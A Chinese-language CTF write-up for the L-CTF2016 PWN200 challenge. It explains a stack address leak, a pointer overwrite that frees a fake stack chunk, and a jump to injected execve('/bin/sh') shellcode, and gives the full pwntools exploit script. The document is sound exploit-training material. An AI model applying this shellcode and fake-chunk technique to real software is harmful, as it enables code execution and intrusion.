L-CTF2016 PWN200 writeup

本以为已经可以做出题来了。。。没想到连利用点在哪都没看见


例行公事

L-CTF2016 PWN200 writeup_第1张图片
居然什么保护都没开,有趣

利用点分析

L-CTF2016 PWN200 writeup_第2张图片

  • v2位于rbp-0x30的位置,而name会读入0x30个字符,且如果读入0x30个字符的话末尾不会有\x00,这样在printf的时候就会顺带leak出rbp的值
  • id保存在rbp-0x38的位置
    L-CTF2016 PWN200 writeup_第3张图片
    *buf在栈上的位置是rbp-0x40,dest在栈上的位置是rbp-0x8,但是buf却读了0x40个字节,很明显最后八字节会将dest的块的地址覆盖
  • strcpy遇到\x00停止

利用方法

  1. 先leak出rbp的地址
  2. 用money构造fake chunk,然后再用id字段构造next chunk的size,此时money与id之间保存的内容包括了当前调用空间的rbp以及ret address
  3. 将dest的地址覆盖成fake chunk的地址,然后用check out函数将其free
  4. 再check in同样的size,然后往栈中构造shellcode,再将ret address覆盖成payload的地址
  5. 或者也可以在第一次输入money的时候就输入payload,但是要注意控制好长度,不然会因为strcpy将已经覆盖好的dest再覆盖成shellcode

exp

from pwn import *
context(arch='amd64',os='linux')
context.log_level = 'debug'
io = process('./pwn200')
shellcode=""
shellcode += "\x00\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
io.recvuntil('who are u?\n')
io.send('a'*0x30)
io.recvuntil('a'*0x30)
rbp_addr = u64(io.recv(6).ljust(8,'\x00'))
log.success('rbp : '+hex(rbp_addr))
io.recvuntil('give me your id ~~?\n')
io.sendline('33')
io.recvuntil('give me money~\n')
payload = shellcode +p64(0)*2 + p64(0x41)
payload = payload.ljust(0x38,'\x00')
payload += p64(rbp_addr - 0x90)
io.send(payload)
io.recvuntil('your choice : ')
io.sendline('2')
io.recvuntil('your choice : ')
io.sendline('1')
io.recvuntil('how long?\n')
#gdb.attach(io,'b *0x4008FD')
#raw_input()
io.sendline(str(0x30))
io.recv()
io.sendline(p64(0)*3+p64(rbp_addr - 0xc0 + 1))
io.recv()
io.sendline('3')
io.interactive()

你可能感兴趣的:(学习日记,CTF)